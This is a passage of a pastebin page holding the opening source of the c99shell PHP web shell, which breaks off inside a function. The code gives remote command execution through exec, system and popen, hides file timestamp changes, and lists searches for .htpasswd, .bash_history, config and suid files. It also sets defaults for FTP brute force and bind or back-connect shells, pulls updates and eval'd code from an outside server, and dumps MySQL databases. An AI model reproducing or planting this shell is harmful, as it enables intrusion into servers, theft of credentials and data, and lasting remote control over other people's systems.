pastebin - collaborative debugging

pastebin is a collaborative debugging tool allowing you to share and modify code snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a variety of options.

PHP pastebin - collaborative debugging tool View Help


Posted by Cyberheb on Wed 3 Oct 01:17
report abuse | View followups from Anonymous and Anonymous | download | new post

  1. <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  4. error_reporting(5);
  5. @ignore_user_abort(TRUE);
  6. @set_magic_quotes_runtime(0);
  7. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  8. define("starttime",getmicrotime());
  9. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  10. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  11. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  12.  
  13. $shver = "1.0 pre-release build #16"; //Current version
  14. //CONFIGURATION AND SETTINGS
  15. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  16. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  17. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  18. }
  19.  
  20. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  21.  
  22. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  23. if (empty($surl))
  24. {
  25.  $surl = "?".$includestr; //Self url
  26. }
  27. $surl = htmlspecialchars($surl);
  28.  
  29. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  30.  
  31. //Authentication
  32. $login = ""; //login
  33. //DON'T FORGOT ABOUT PASSWORD!!!
  34. $pass = ""; //password
  35. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  36.  
  37. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  38. $login_txt = "Restricted area"; //http-auth message.
  39. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  40.  
  41. $gzipencode = TRUE; //Encode with gzip?
  42.  
  43. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  44.  
  45. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  46. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  47.  
  48. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  49.  
  50. $donated_html = "<center><b>Owned by hacker</b></center>";
  51. /* If you publish free shell and you wish
  52. add link to your site or any other information,
  53. put here your html. */
  54. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  55.  
  56. $curdir = "./"; //start folder
  57. //$curdir = getenv("DOCUMENT_ROOT");
  58. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  59. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  60.  
  61. $log_email = "user@host.tld"; //Default e-mail for sending logs
  62.  
  63. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  64. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  65.  
  66. // Registered file-types.
  67. //  array(
  68. //   "{action1}"=>array("ext1","ext2","ext3",...),
  69. //   "{action2}"=>array("ext4","ext5","ext6",...),
  70. //   ...
  71. //  )
  72. $ftypes  = array(
  73.  "html"=>array("html","htm","shtml"),
  74.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  75.  "exe"=>array("sh","install","bat","cmd"),
  76.  "ini"=>array("ini","inf"),
  77.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  78.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  79.  "sdb"=>array("sdb"),
  80.  "phpsess"=>array("sess"),
  81.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  82. );
  83.  
  84. // Registered executable file-types.
  85. //  array(
  86. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  87. //   ...
  88. //  )
  89. //   {command}: %f% = filename
  90. $exeftypes  = array(
  91.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  92.  "perl %f%" => array("pl","cgi")
  93. );
  94.  
  95. /* Highlighted files.
  96.   array(
  97.    i=>array({regexp},{type},{opentag},{closetag},{break})
  98.    ...
  99.   )
  100.   string {regexp} - regular exp.
  101.   int {type}:
  102. 0 - files and folders (as default),
  103. 1 - files only, 2 - folders only
  104.   string {opentag} - open html-tag, e.g. "<b>" (default)
  105.   string {closetag} - close html-tag, e.g. "</b>" (default)
  106.   bool {break} - if TRUE and found match then break
  107. */
  108. $regxp_highlight  = array(
  109.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  110.   array("config.php",1) // example
  111. );
  112.  
  113. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  114.  // array (i=>{letter} ...); string {letter} - letter of a drive
  115. //$safemode_diskettes = range("a","z");
  116. $hexdump_lines = 8;// lines in hex preview file
  117. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  118.  
  119. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  120.  
  121. $bindport_pass = "c99";  // default password for binding
  122. $bindport_port = "31373"; // default port for binding
  123. $bc_port = "31373"; // default port for back-connect
  124. $datapipe_localport = "8081"; // default port for datapipe
  125.  
  126. // Command-aliases
  127. if (!$win)
  128. {
  129.  $cmdaliases = array(
  130.   array("-----------------------------------------------------------", "ls -la"),
  131.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  132.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  133.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  134.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  135.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  136.   array("find config* files", "find / -type f -name \"config*\""),
  137.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  138.   array("find all writable folders and files", "find / -perm -2 -ls"),
  139.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  140.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  141.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  142.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  143.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  144.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  145.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  146.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  147.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  148.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  149.   array("show opened ports", "netstat -an | grep -i listen")
  150.  );
  151. }
  152. else
  153. {
  154.  $cmdaliases = array(
  155.   array("-----------------------------------------------------------", "dir"),
  156.   array("show opened ports", "netstat -an")
  157.  );
  158. }
  159.  
  160. $sess_cookie = "c99shvars"; // Cookie-variable name
  161.  
  162. $usefsbuff = TRUE; //Buffer-function
  163. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  164.  
  165. //Quick launch
  166. $quicklaunch = array(
  167.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  168.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  169.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  170.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  171.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  172.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  173.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  174.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  175.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  176.  array("<b>Proc.</b>",$surl."act=processes&d=%d"),
  177.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  178.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  179.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  180.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  181.  array("<b>Update</b>",$surl."act=update&d=%d"),
  182.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  183.  array("<b>Self remove</b>",$surl."act=selfremove"),
  184.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  185. );
  186.  
  187. //Highlight-code colors
  188. $highlight_background = "#c0c0c0";
  189. $highlight_bg = "#FFFFFF";
  190. $highlight_comment = "#6A6A6A";
  191. $highlight_default = "#0000BB";
  192. $highlight_html = "#1300FF";
  193. $highlight_keyword = "#007700";
  194. $highlight_string = "#000000";
  195.  
  196. @$f = $_REQUEST["f"];
  197. @extract($_REQUEST["c99shcook"]);
  198.  
  199. //END CONFIGURATION
  200.  
  201.  
  202. // \/Next code isn't for editing\/
  203. @set_time_limit(0);
  204. $tmp = array();
  205. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  206. $s = "!^(".implode("|",$tmp).")$!i";
  207. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  208. if (!empty($login))
  209. {
  210.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  211.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  212.  {
  213.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  214.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  215.   header("HTTP/1.0 401 Unauthorized");
  216.   exit($accessdeniedmess);
  217.  }
  218. }
  219. if ($act != "img")
  220. {
  221. $lastdir = realpath(".");
  222. chdir($curdir);
  223. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  224. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  225. if (!is_array($sess_data)) {$sess_data = array();}
  226. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  227. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  228.  
  229. $disablefunc = @ini_get("disable_functions");
  230. if (!empty($disablefunc))
  231. {
  232.  $disablefunc = str_replace(" ","",$disablefunc);
  233.  $disablefunc = explode(",",$disablefunc);
  234. }
  235.  
  236. if (!function_exists("c99_buff_prepare"))
  237. {
  238. function c99_buff_prepare()
  239. {
  240.  global $sess_data;
  241.  global $act;
  242.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  243.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  244.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  245.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  246.  sort($sess_data["copy"]);
  247.  sort($sess_data["cut"]);
  248.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  249.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  250. }
  251. }
  252. c99_buff_prepare();
  253. if (!function_exists("c99_sess_put"))
  254. {
  255. function c99_sess_put($data)
  256. {
  257.  global $sess_cookie;
  258.  global $sess_data;
  259.  c99_buff_prepare();
  260.  $sess_data = $data;
  261.  $data = serialize($data);
  262.  setcookie($sess_cookie,$data);
  263. }
  264. }
  265. foreach (array("sort","sql_sort") as $v)
  266. {
  267.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  268.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  269. }
  270. if ($sort_save)
  271. {
  272.  if (!empty($sort)) {setcookie("sort",$sort);}
  273.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  274. }
  275. if (!function_exists("str2mini"))
  276. {
  277. function str2mini($content,$len)
  278. {
  279.  if (strlen($content) > $len)
  280.  {
  281.   $len = ceil($len/2) - 2;
  282.   return substr($content, 0,$len)."...".substr($content,-$len);
  283.  }
  284.  else {return $content;}
  285. }
  286. }
  287. if (!function_exists("view_size"))
  288. {
  289. function view_size($size)
  290. {
  291.  if (!is_numeric($size)) {return FALSE;}
  292.  else
  293.  {
  294.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  295.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  296.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  297.   else {$size = $size . " B";}
  298.   return $size;
  299.  }
  300. }
  301. }
  302. if (!function_exists("fs_copy_dir"))
  303. {
  304. function fs_copy_dir($d,$t)
  305. {
  306.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  307.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  308.  $h = opendir($d);
  309.  while (($o = readdir($h)) !== FALSE)
  310.  {
  311.   if (($o != ".") and ($o != ".."))
  312.   {
  313.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  314.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  315.    if (!$ret) {return $ret;}
  316.   }
  317.  }
  318.  closedir($h);
  319.  return TRUE;
  320. }
  321. }
  322. if (!function_exists("fs_copy_obj"))
  323. {
  324. function fs_copy_obj($d,$t)
  325. {
  326.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  327.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  328.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  329.  if (is_dir($d))
  330.  {
  331.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  332.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  333.   return fs_copy_dir($d,$t);
  334.  }
  335.  elseif (is_file($d)) {return copy($d,$t);}
  336.  else {return FALSE;}
  337. }
  338. }
  339. if (!function_exists("fs_move_dir"))
  340. {
  341. function fs_move_dir($d,$t)
  342. {
  343.  $h = opendir($d);
  344.  if (!is_dir($t)) {mkdir($t);}
  345.  while (($o = readdir($h)) !== FALSE)
  346.  {
  347.   if (($o != ".") and ($o != ".."))
  348.   {
  349.    $ret = TRUE;
  350.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  351.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  352.    if (!$ret) {return $ret;}
  353.   }
  354.  }
  355.  closedir($h);
  356.  return TRUE;
  357. }
  358. }
  359. if (!function_exists("fs_move_obj"))
  360. {
  361. function fs_move_obj($d,$t)
  362. {
  363.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  364.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  365.  if (is_dir($d))
  366.  {
  367.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  368.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  369.   return fs_move_dir($d,$t);
  370.  }
  371.  elseif (is_file($d))
  372.  {
  373.   if(copy($d,$t)) {return unlink($d);}
  374.   else {unlink($t); return FALSE;}
  375.  }
  376.  else {return FALSE;}
  377. }
  378. }
  379. if (!function_exists("fs_rmdir"))
  380. {
  381. function fs_rmdir($d)
  382. {
  383.  $h = opendir($d);
  384.  while (($o = readdir($h)) !== FALSE)
  385.  {
  386.   if (($o != ".") and ($o != ".."))
  387.   {
  388.    if (!is_dir($d.$o)) {unlink($d.$o);}
  389.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  390.   }
  391.  }
  392.  closedir($h);
  393.  rmdir($d);
  394.  return !is_dir($d);
  395. }
  396. }
  397. if (!function_exists("fs_rmobj"))
  398. {
  399. function fs_rmobj($o)
  400. {
  401.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  402.  if (is_dir($o))
  403.  {
  404.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  405.   return fs_rmdir($o);
  406.  }
  407.  elseif (is_file($o)) {return unlink($o);}
  408.  else {return FALSE;}
  409. }
  410. }
  411. if (!function_exists("myshellexec"))
  412. {
  413. function myshellexec($cmd)
  414. {
  415.  global $disablefunc;
  416.  $result = "";
  417.  if (!empty($cmd))
  418.  {
  419.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  420.   elseif (($result = `$cmd`) !== FALSE) {}
  421.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  422.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  423.   elseif (is_resource($fp = popen($cmd,"r")))
  424.   {
  425.    $result = "";
  426.    while(!feof($fp)) {$result .= fread($fp,1024);}
  427.    pclose($fp);
  428.   }
  429.  }
  430.  return $result;
  431. }
  432. }
  433. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  434. if (!function_exists("view_perms"))
  435. {
  436. function view_perms($mode)
  437. {
  438.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  439.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  440.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  441.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  442.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  443.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  444.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  445.  else {$type = "?";}
  446.  
  447.  $owner["read"] = ($mode & 00400)?"r":"-";
  448.  $owner["write"] = ($mode & 00200)?"w":"-";
  449.  $owner["execute"] = ($mode & 00100)?"x":"-";
  450.  $group["read"] = ($mode & 00040)?"r":"-";
  451.  $group["write"] = ($mode & 00020)?"w":"-";
  452.  $group["execute"] = ($mode & 00010)?"x":"-";
  453.  $world["read"] = ($mode & 00004)?"r":"-";
  454.  $world["write"] = ($mode & 00002)? "w":"-";
  455.  $world["execute"] = ($mode & 00001)?"x":"-";
  456.  
  457.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  458.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  459.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  460.  
  461.  return $type.join("",$owner).join("",$group).join("",$world);
  462. }
  463. }
  464. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  465. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  466. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  467. if (!function_exists("parse_perms"))
  468. {
  469. function parse_perms($mode)
  470. {
  471.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  472.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  473.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  474.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  475.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  476.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  477.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  478.  else {$t = "?";}
  479.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  480.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  481.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  482.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  483. }
  484. }
  485. if (!function_exists("parsesort"))
  486. {
  487. function parsesort($sort)
  488. {
  489.  $one = intval($sort);
  490.  $second = substr($sort,-1);
  491.  if ($second != "d") {$second = "a";}
  492.  return array($one,$second);
  493. }
  494. }
  495. if (!function_exists("view_perms_color"))
  496. {
  497. function view_perms_color($o)
  498. {
  499.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  500.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  501.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  502. }
  503. }
  504. if (!function_exists("c99getsource"))
  505. {
  506. function c99getsource($fn)
  507. {
  508.  global $c99sh_sourcesurl;
  509.  $array = array(
  510.   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  511.   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  512.   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  513.   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  514.   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  515.   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  516.  );
  517.  $name = $array[$fn];
  518.  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  519.  else {return FALSE;}
  520. }
  521. }
  522. if (!function_exists("c99sh_getupdate"))
  523. {
  524. function c99sh_getupdate($update = TRUE)
  525. {
  526.  $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  527.  $data = @file_get_contents($url);
  528.  if (!$data) {return "Can't connect to update-server!";}
  529.  else
  530.  {
  531.   $data = ltrim($data);
  532.   $string = substr($data,3,ord($data{2}));
  533.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  534.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  535.   if ($data{0} == "\x99" and $data{1} == "\x03")
  536.   {
  537.    $string = explode("\x01",$string);
  538.    if ($update)
  539.    {
  540.     $confvars = array();
  541.     $sourceurl = $string[0];
  542.     $source = file_get_contents($sourceurl);
  543.     if (!$source) {return "Can't fetch update!";}
  544.     else
  545.     {
  546.      $fp = fopen(__FILE__,"w");
  547.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  548.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  549.     }
  550.    }
  551.    else {return "New version are available: ".$string[1];}
  552.   }
  553.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  554.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  555.  }
  556. }
  557. }
  558. if (!function_exists("mysql_dump"))
  559. {
  560. function mysql_dump($set)
  561. {
  562.  global $shver;
  563.  $sock = $set["sock"];
  564.  $db = $set["db"];
  565.  $print = $set["print"];
  566.  $nl2br = $set["nl2br"];
  567.  $file = $set["file"];
  568.  $add_drop = $set["add_drop"];
  569.  $tabs = $set["tabs"];
  570.  $onlytabs = $set["onlytabs"];
  571.  $ret = array();
  572.  $ret["err"] = array();
  573.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  574.  if (empty($db)) {$db = "db";}
  575.  if (empty($print)) {$print = 0;}
  576.  if (empty($nl2br)) {$nl2br = 0;}
  577.  if (empty($add_drop)) {$add_drop = TRUE;}
  578.  if (empty($file))
  579.  {
  580.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  581.  }
  582.  if (!is_array($tabs)) {$tabs = array();}
  583.  if (empty($add_drop)) {$add_drop = TRUE;}
  584.  if (sizeof($tabs) == 0)
  585.  {
  586.   // retrive tables-list
  587.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  588.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  589.  }
  590.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  591. # Home page: http://ccteam.ru
  592. #
  593. # Host settings:
  594. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  595. # Date: ".date("d.m.Y H:i:s")."
  596. # DB: \"".$db."\"
  597. #---------------------------------------------------------
  598. ";
  599.  $c = count($onlytabs);
  600.  foreach($tabs as $tab)
  601.  {
  602.   if ((in_array($tab,$onlytabs)) or (!$c))
  603.   {
  604.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  605.    // recieve query for create table structure
  606.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  607.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  608.    else
  609.    {
  610.     $row = mysql_fetch_row($res);
  611.     $out .= $row["1"].";\n\n";
  612.     // recieve table variables
  613.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  614.     if (mysql_num_rows($res) > 0)
  615.     {
  616.      while ($row = mysql_fetch_assoc($res))
  617.      {
  618.       $keys = implode("`, `", array_keys($row));
  619.       $values = array_values($row);
  620.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  621.       $values = implode("', '", $values);
  622.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  623.       $out .= $sql;
  624.      }
  625.     }
  626.    }
  627.   }
  628.  }
  629.  $out .= "#---------------------------------------------------------------------------------\n\n";
  630.  if ($file)
  631.  {
  632.   $fp = fopen($file, "w");
  633.   if (!$fp) {$ret["err"][] = 2;}
  634.   else
  635.   {
  636.    fwrite ($fp, $out);
  637.    fclose ($fp);
  638.   }
  639.  }
  640.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  641.  return $out;
  642. }
  643. }
  644. if (!function_exists("mysql_buildwhere"))
  645. {
  646. function mysql_buildwhere($array,$sep=" and",$functs=array())
  647. {
  648.  if (!is_array($array)) {$array = array();}
  649.  $result = "";
  650.  foreach($array as $k=>$v)
  651.  {
  652.   $value = "";
  653.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  654.   $value .= "'".addslashes($v)."'";
  655.   if (!empty($functs[$k])) {$value .= ")";}
  656.   $result .= "`".$k."` = ".$value.$sep;
  657.  }
  658.  $result = substr($result,0,strlen($result)-strlen($sep));
  659.  return $result;
  660. }
  661. }
  662. if (!function_exists("mysql_fetch_all"))
  663. {
  664. function mysql_fetch_all($query,$sock)
  665. {
  666.  if ($sock) {$result = mysql_query($query,$sock);}
  667.  else {$result = mysql_query($query);}
  668.  $array = array();
  669.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  670.  mysql_free_result($result);
  671.  return $array;
  672. }
  673. }
  674. if (!function_exists("mysql_smarterror"))
  675. {
  676. function mysql_smarterror($type,$sock)
  677. {
  678.  if ($sock) {$error = mysql_error($sock);}
  679.  else {$error = mysql_error();}
  680.  $error = htmlspecialchars($error);
  681.  return $error;
  682. }
  683. }
  684. if (!function_exists("mysql_query_form"))
  685. {
  686. function mysql_query_form()
  687. {
  688.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
